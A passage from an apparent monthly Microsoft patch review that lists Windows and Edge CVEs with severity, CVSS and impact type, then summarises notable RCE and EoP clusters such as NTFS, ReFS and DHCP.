Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As 